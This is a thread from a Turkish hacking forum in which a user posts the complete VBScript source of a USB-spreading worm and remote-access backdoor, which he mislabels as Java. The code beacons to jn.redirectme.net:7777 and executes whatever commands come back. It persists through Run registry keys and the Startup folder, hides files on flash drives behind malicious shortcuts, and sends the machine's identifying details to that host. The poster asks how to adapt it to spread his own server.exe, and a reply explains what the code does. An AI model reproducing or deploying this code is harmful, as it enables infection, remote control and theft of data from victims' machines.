folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Flash Bellekteki Dosyaları Gizleyen Virüs Java Kaynak Kodları



Flash Bellekteki Dosyaları Gizleyen Virüs Java Kaynak Kodları

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Kaan
    Kaan's avatar
    Kayıt Tarihi: 23/Mayıs/2007
    Erkek

    .vbs olarak kaydedin çift tıklayın virüs girsin :P

    Bunda hoşuma giden sadece klasörleri değil dosyaları da sistem dosyası yapıyor.

    Bilen birileri kodları açıklarsa editleyip lehimize kullanmamız daha kolay olabilir..

     

     

    '<[ coded bY njq8 ]>'

    On Error Resume Next

    dim sh ' shell

    set sh =WScript.CreateObject("WScript.Shell")

    dim fs ' filesystem

    set fs= CreateObject("Scripting.FileSystemObject") 

    dim host

    host="jn.redirectme.net"

    dim port

    port=7777

    dim DR

    DR = sh.ExpandEnvironmentStrings("%temp%") & "\"

    dim FN

    FN ="Servieca.vbs"

    dim fh

    dim us

    us="~"

    ins

    dim spl

    spl="jnJnj"

    dim i

    i=0

    while true

    dim a 

    a= split(post("ready",""),spl)

    select case a(0)

    case "exc"

    dim sa

    sa= a(1)

    execute sa

    case "uns"

    uns

    end select

    wscript.sleep 4000

    i = i + 1

    if i> 2 then

    i=0

    xins

    end if

    wend

     

    function ins

    on error resume next

    us= sh.regread("HKCU\njq8")

    if us="~" then

    if lcase( mid(wscript.scriptfullname,2))=":\" &  lcase(fn) then

    us="y"

    sh.regwrite "HKCU\njq8",  us, "REG_SZ"

    else

    us="n"

    sh.regwrite "HKCU\njq8",  us, "REG_SZ"

    end if

    end if

    Err.Clear

    fs.CopyFile wscript.scriptfullname,dr & fn ,true

    set fh = fs.OpenTextFile( dr & fn, 8, false)

    if  Err.Number>0 then

    wscript.quit

    end if

    xins

    end function

     

    sub xins

    on error resume next

    sh.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn,  chrw(34) & dr & fn & chrw(34), "REG_SZ"

    sh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn,  chrw(34) & dr & fn & chrw(34), "REG_SZ"

    fs.copyfile wscript.scriptfullname,  CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true

    for each xx in fs.Drives

    if xx.isready then

    if xx.FreeSpace >0 then

    if xx.drivetype=1 then

    if fs.fileexists(xx.path & "\" & fn) then

    fs.getfile(xx.path & "\"  & fn).Attributes=0

    end if

    fs.copyfile dr & fn , xx.path & "\"  & fn,true

    For Each x In fs.GetFolder( xx.path & "\" ).Files

    wscript.sleep 1

    if instr(x.name,".") then

    if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then

    x.Attributes = 2

    if ucase(x.name) <> ucase(fn) then

    With sh.CreateShortcut(xx.path & "\"  & x.name & ".lnk") 

    .TargetPath = "cmd.exe"

    .WorkingDirectory = ""

    .Arguments = "/c start " & Replace(fn," ", ChrW(34) _

    & " " & ChrW(34)) & "&start " & replace( x.name," ", ChrW(34) & " " & ChrW(34)) & " & exit"

    .IconLocation = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & Split(x.name, ".")(UBound(Split(x.name, "."))) & "\") & "\DefaultIcon\")

    if instr( .iconlocation,",")=0 then

    .iconlocation = .iconlocation &",0"

    end if

    .Save()

    end with

    end if

    end if

    end if

    Next

    end if

    end if

    end if

    next

    Err.Clear

    end sub

     

    function uns

    on error resume next

    fh.close

    sh.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" & fn

    sh.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & fn

    fs.DeleteFile dr & fn ,true

    fs.DeleteFile CreateObject("Shell.Application").NameSpace(&H7).Self.Path &"\" & fn ,true

    for each xx in fs.Drives

    if xx.isready then

    if xx.FreeSpace >0 then

    For Each x In fs.GetFolder( xx.path & "\").Files

    On Error Resume Next

    if instr(x.name,".") then

    if lcase( Split(x.name, ".")(UBound(Split(x.name, "."))))<>"lnk" then

    x.Attributes = 0

    if ucase(x.name) <> ucase(fn) then

    fs.deletefile(xx.path & "\" & x.name & ".lnk" )

    else

    fs.deletefile( xx.path & "\" & x.name )

    end if

    end if

    end if

    Next

    end if

    end if

    next

    wscript.quit

    end function

     

    function post(cmd ,da)

    post=""

    Dim o

    Set o = CreateObject("MSXML2.XMLHTTP")

    o.open "POST","http://" & host & ":" & port &"/" & cmd, false

    o.setRequestHeader "User-Agent:",  inf

    o.send da

    post=o.responseText

    end function

     

    dim xinf

    function inf

    on error resume next

    if xinf="" then

    dim s

    s="??"

    s = hwd

    inf = inf & s & "\"

    s="??"

    s= sh.ExpandEnvironmentStrings("%COMPUTERNAME%")

    inf = inf & s & "\"

    s="??"

    s= sh.ExpandEnvironmentStrings("%USERNAME%")

    inf = inf & s & "\"

    s="??"

    Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

    Set aa = a.ExecQuery ("Select * from Win32_OperatingSystem")

    For Each aaa in aa

    s= aaa.Caption  

    exit for

    Next

    inf = inf & s & "\\0.3\" & us &"\" & pid  

    xinf=inf

    else

    inf=xinf

    end if

    end function

     

    function HWD

    HWD="ZAIN_??"

    On Error Resume Next

    Set a = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

    Set aa = a.ExecQuery("SELECT * FROM Win32_LogicalDisk")

    For Each aaa In aa

    if aaa.VolumeSerialNumber<>"" then

    HWD= "ZAIN_" & aaa.VolumeSerialNumber

    exit for

    end if

    Next

    end function

     

    Function PID

    PID=0

    on error resume next

    PID = GetObject("winmgmts:root\cimv2").Get("Win32_" &_

    "Process.Handle='" & _

    sh.Exec("mshta.exe").ProcessID & "'").ParentProcessId

    End Function

  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Kaan
    Kaan's avatar
    Kayıt Tarihi: 23/Mayıs/2007
    Erkek

    Şu kodları açıklayacak murit yok mudur?

  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    DrKill
    DrKill's avatar
    Kayıt Tarihi: 10/Mart/2004
    Erkek

    Hocam yanlış anlama ama koyduğun şeyin ne olduğunu tam olarak bilmiyorsun. JAVA ile alakası yok koyduğun kodun. Yanlış görmüyorsam VBscript kodu koymuşsun. Ayrıca neden bahsettiğinide anlatmamışsın. Kimse gelipte kodları burada satır satır anlatmaz. Kendi lehimize derken ne istiyorsun hoca oda belli değil.


    Bu imzayı her gördüğünüzde 4gb kotanızın 0,00000358559191226959228515625 azalmaktadır. Bilerek ve istenerek bu imza yapılmıştır. Amaç kotanızı sömürmektir
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Bilirkişi
    mkyb
    mkyb's avatar
    Kayıt Tarihi: 27/Mayıs/2011
    Erkek

    Java <class> falan bi şeyler olması lazım java kodlamada.Bak ben bile biraz çakıyorum Javadan :D


    Yaşlandıkça 50 liralık saatin ve 5.000 liralık saatin aynı şeyi gösterdiğini fark edeceksin. 1.000.000 liralık ve 100.000 liralık ev aynı yalnızlığı barındırır. 1.000 liralık Android ile 20.000 liralık iPhone Pro kimse aramadıktan sonra aynıdır. Materyalist şeylerde gerçek mutluluk bulunmaz. Asıl mutluluk bir çift memededir. Enflasyon yüzünden bu imzayı bir ara güncellemek lazım. Bin liraya telefon kalmadı amk.
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Kaan
    Kaan's avatar
    Kayıt Tarihi: 23/Mayıs/2007
    Erkek
    Citizen bunu yazdı

    Java falan bi şeyler olması lazım java kodlamada.Bak ben bile biraz çakıyorum Javadan :D

     

    DrKill bunu yazdı

    Hocam yanlış anlama ama koyduğun şeyin ne olduğunu tam olarak bilmiyorsun. JAVA ile alakası yok koyduğun kodun. Yanlış görmüyorsam VBscript kodu koymuşsun. Ayrıca neden bahsettiğinide anlatmamışsın. Kimse gelipte kodları burada satır satır anlatmaz. Kendi lehimize derken ne istiyorsun hoca oda belli değil.

     

     

    Haklısınız hacılar, yanlış kodları paylaşmışım. Ama java olanlarlar da başka şeylermiş. Malum zor bir final dönemiydi, uykusuzluk..

    Her neyse, kodlara devam edelim.

     

    Sorum şu; bu virüs ne yapıyor, yani nereye yönlendiriyor, neleri alıyor, neleri kapatıyor bilgisayardan..

    Kodların açıklamasını istiyorum. Kendi server.exe'mi bu yolla dağıtabilirmiyim mesela?

    Kaan tarafından 20/Oca/13 13:53 tarihinde düzenlenmiştir
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    unbalanced
    unbalanced's avatar
    Kayıt Tarihi: 14/Haziran/2006
    Erkek

    1- vbscript kodudur

    2- dosyalara erişiyor (okuyup yazabiliyor)

    3- registry den kayıt okuyor ve yazıyor

    4- kodla oluşturduğu Servieca.vbs isimli dosyayı registry da run a yerleştirip, bilgisayar ilk açıldığında çalıştırmasını sağlıyor

    5- http://jn.redirectme.net/ a post atıyor ve ondan (ücretsiz sabit ip hizmeti veren bir no-ip sitesi)

    6- post atıldıktan sonra dönen cevabı execute ediyor. mesela ilgili fonksiyonda post("ready","") şeklinde bi çağırma var, sisteme post edildiğinde sistemde ready karşılığında nasıl bir komut geliyosa mesela del d:\*.* gibi ? ya da netstat ... v.s. komutlar çalıştırılabilir uzaktan

    7- harddisklerin serial numarasını alıyorlar (http://msdn.microsoft.com/en-us/library/windows/desktop/aa394173(v=vs.85).aspx  buradan bakabilirsin)

    8- bunun haricinde, işletim sistemi bilgisini, kullanıcı adını v.s. de alıyorlar

    9- mshta.exe ile kendi oluşturdukları hta dosyasını çalıştırıyorlar. 

    10- bazı kullanıcı haklarıyla çalıştırıyorlar (http://msdn.microsoft.com/en-us/library/windows/desktop/aa394599(v=vs.85).aspx )

     

    görebildiklerim bunlar.. detaylı analiz yapmak lazım adım adım çalıştırıp ya da fonksiyonları takip edip tam olarak ne yaptığını düzgünce

    planlamak gerek ama uzun iş :) 

     


    Ülkesini Seven Her Türk Vatandasi, Ülkesinin Sessiz Istilasi'na karsi durmak zorunda.
Toplam Hit: 1634 Toplam Mesaj: 6